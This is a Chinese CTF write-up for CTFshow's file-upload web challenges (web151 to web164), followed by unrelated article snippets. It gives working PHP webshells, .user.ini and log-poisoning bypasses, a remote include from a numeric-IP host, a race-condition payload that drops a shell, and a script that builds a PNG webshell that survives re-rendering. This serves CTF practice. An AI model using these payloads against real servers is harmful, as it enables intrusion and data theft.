CTFshow web入门vip 文件上传

news/2024/11/14 2:15:43/文章来源:https://www.cnblogs.com/Sol9/p/18331906

web151

题目提示前端校验不可靠,看源码

可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png

然后把前端验证修改一下,把文件后缀限制改成php

写个一句话木马传进去

1.php

<?php eval($_POST['x']);?>

url中需要加入我们传入文件的目录/upload.php,并指定/1.php这个文件,在这个文件下进行传参。

url:url/upload.php/1.php

post传参

  • x=system('ls');

  • x=system('ls ../');

  • x=system('tac ../flag.php');

得到flag

解法二:

通过抓包,修改传入的文件的后缀为png

web152

先改前端校验,参考web152,报错:

文件上传失败,失败原因:文件类型不合规

抓包看看,先看正常放一个png上去,是怎么个事

发现这里会把文件类型Content-Type发到后端进行校验,把这个正确的文件类型复制一下

把前端验证绕过把1.php传进去,把包抓下来

看到这个文件信息Content-Type: application/octet-stream把它改成image/png重放,就绕过后端校验了

后面的过程参考web151

web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

也可以蚁剑连

https://cf506962-78c8-4f29-98bb-6a879729f3d3.challenge.ctf.show/upload/index.php

web154

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web155

自带 .user.ini,但不影响,payload 与 web154 一致

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web156

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

对 上传文件的**内容**过滤

修改1.png中的一句话木马

<?php --->换成 <?=

[] ---> 换成{}

payload:

<?php @eval($_POST{'x'});?>

web157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web158

payload同157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web159

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

过滤了括号,也就是说system()这种函数用不了了,那就用``执行运算符

payload:

1.png :

web160

``也被过滤了

用php内置的include函数包含默认路径的日志文件,包含并执行这个日志文件,而日志文件里存有UA,UA中有我们写好的php一句话木马,就会执行这个一句话木马

然后再去访问一个这个UA头里带有后门代码的日志文件,就会触发这个后门代码

.user.ini:

auto_prepend_file=1.png

1.png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这个是nginx默认缓存路径,做了绕过滤处理

这里需要再仔细了解一下

考点:还是过滤字符串 这里又过滤了**log** 字符串 所以使用拼接绕过

可以尝试 日志包含绕过 :

 <?=include"/var/lo"."g/nginx/access.lo"."g"?>

还是先上传.user.ini.png进行解析 然后包含/upload/index.php/ 然后服务器是nginx

知识点:nginx的默认日志路径是:/var/log/nginx/access.log

flag

web161

文件头检测

绕过这个检测机制需要我们在user.ini文件头加上GIF89A

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

经过尝试之后发现只能继续使用访问日志的方法

1.png :

GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

突破过滤.

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

GIF89a

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133/''>

web163

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133''>

index.txt 后门代码

png自动删除

规则:

1.都删除

2.后门代码删除

条件竞争:在上传成功,立马访问,,创建型代码(代码被执行后重新新建一个文件

<?php $f=fopen("7.php","w"); fputs($f,'<?php eval($_POST[7]);?>');?>

这里我们用条件竞争,在.user.ini中写入

auto_prepend_file=http://151523133/

然后直接访问/upload/再hackerbar rce就行

web164

二次渲染

当我们把图片上传图像上去之后,他进行了二次加工,这就叫二次渲染 这个过程就会造成payload失效

二次渲染判断:

  1. 判断文件上传前后的大小

  2. 判断文件后返回的数据包中特殊的标记

这里用别人写的php代码生成一个图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./7.png');
?>
#<?=$_GET[0]($_POST[1]);?>

把这段代码放在小皮里跑一下,就会生成一个7.png在同目录中,将其上传

这题上传路径跟之前的稍有不同,注意一下,上传成功后点击查看可以看到这个路径的

/download.php?image=9eb9cd58b9ea5e04c890326b5c1f471f.png

其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马

这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1

<?=$_GET[0]($_POST[1]);?>

我一开始直接用的bp抓包,但是后来发现一直有点问题,可能是格式或者什么地方有要求

用hackerbar传参,但是没有回显

再用bp把这个包抓下来,成功回显flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/773969.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

我出一道面试题,看看你能拿 3k 还是 30k!

我会出一道经典的后端面试题,你只需要进行 4 个简单的选择,就能判断出来你的水平是新手(3k)、初级(10k)、中级(15k)还是高级(30k)!大家好,我是程序员鱼皮。欢迎屏幕前的各位来到今天的模拟面试现场,接下来我会出一道经典的后端面试题,你只需要进行 4 个简单的选择…

运维管理平台化:运维体系为什么要基于平台化建设

本文来自腾讯蓝鲸智云社区用户:CanWay摘要:笔者根据自身的技术和行业理解,分享嘉为蓝鲸数据与智能运维场景实践。 涉及关键字:一体化运维、平台化运维、数智化运维、AIOps、运维PaaS、运维工具系统、蓝鲸等。 本文作者:嘉为蓝鲸运维产品及解决方案负责人 张敏、嘉为蓝鲸平…

flask定制登入过程 显示中文登录信息

默认情况下,当未登录的用户尝试访问一个 login_required 装饰的视图,Flask-Login 会闪现一条消息并且重定向到登录视图。(如果未设置登录视图,它将会以 401 错误退出。) 登录视图的名称可以设置成 LoginManager.login_view。例如:login_manager.login_view = "users.lo…

BUUCTF GWCTF2019 re3

挺有意思的一题,记录一下 主要思路为smc解密 + AES算法 扔进ida后找到主函数:发现函数地址异或,推测为smc,先按d转化为数据,然后直接使用python脚本解密: from ida_bytes import *ea = 0x402219 for i in range(0,224):patch_bytes(ea + i, bytes(ea + i) ^ 0x99)选中按p…

DedeCMS图片水印设置

入口: 系统 > 系统设置 > 图片水印设置扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站、网站修改、网站改版、BUG修复、问题处理、二次开发、PSD转HTML、网站被黑、网站漏洞修复…

帝国CMS网站Fatal error: Call to undefined function sys_ShowTextPage…

Fatal error: Call to undefined function sys_ShowTextPage…解答:1、请确认你的程序是从官方下载2、提示这个错误是因为你的包少了内容,重新从官方下载e/class/t_functions.php到本地扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通…

帝国CMS网站刷新所有信息内容页面时提示“Table *.phome_ecms_news_data_ doesnt exist”

刷新所有信息内容页面时提示“Table *.phome_ecms_news_data_ doesnt exist”答:原因是数据本身有问题,信息索引表phome_ecms_表名_index有不存在ID的记录。解决办法:进数据库删除索引表中不存在的ID记录即可解决。扫码添加技术【解决问题】专注中小企业网站建设、网站安全1…

adobe acrobat DC如何彻底解决自动更新的问题

有客户反应已经按照adobe acrobat DC下载安装界面的教程删除了升级文件,但是还是会时不时的跳出更新,只能重新安装,有没有其他的更好的方法呢? 解决方法如下: 一、首先删除/Library/Application Support/Adobe/ARMDC/Application路径下的update文件,具体方法如下: 1.点击…

我用Awesome-Graphs看论文:解读PowerGraph

这次向大家分享发表在OSDI 2012上的一篇经典图计算框架论文PowerGraph,旨在通过点切分解决图数据幂律分布导致的计算倾斜问题,并提出了区别于Pregels VC(以点为中心)的GAS(以边为中心)计算框架。PowerGraph论文:《PowerGraph: Distributed Graph-Parallel Computation o…

时区

我国地跨五个区,但是为了统一国家事务,将北京东八区所在时间作为全国统一时间。注:中央经线是每个时区中间的经度的位置。 目前前后端分离对时区的方案,后端服务器不管接收到哪个时区的前端请求,都统一以本时区为主。然后各个时区的前端程序在读取后端时间时,根据自己所在…

[USACO1.5] 八皇后 Checker Challenge 题解

[USACO1.5] 八皇后 Checker Challenge 题目描述 一个如下的 \(6 \times 6\) 的跳棋棋盘,有六个棋子被放置在棋盘上,使得每行、每列有且只有一个,每条对角线(包括两条主对角线的所有平行线)上至多有一个棋子。上面的布局可以用序列 \(2\ 4\ 6\ 1\ 3\ 5\) 来描述,第 \(i\) …

HTTP 缓存

避免发送 HTTP 请求的方法就是通过缓存技术,HTTP 设计者早在之前就考虑到了这点,因此 HTTP 协议的头部有不少是针对缓存的字段。HTTP 缓存有两种实现方式,分别是强制缓存和协商缓存。 强制缓存 只要浏览器判断缓存没有过期,则直接使用浏览器的本地缓存,决定是否使用缓存的…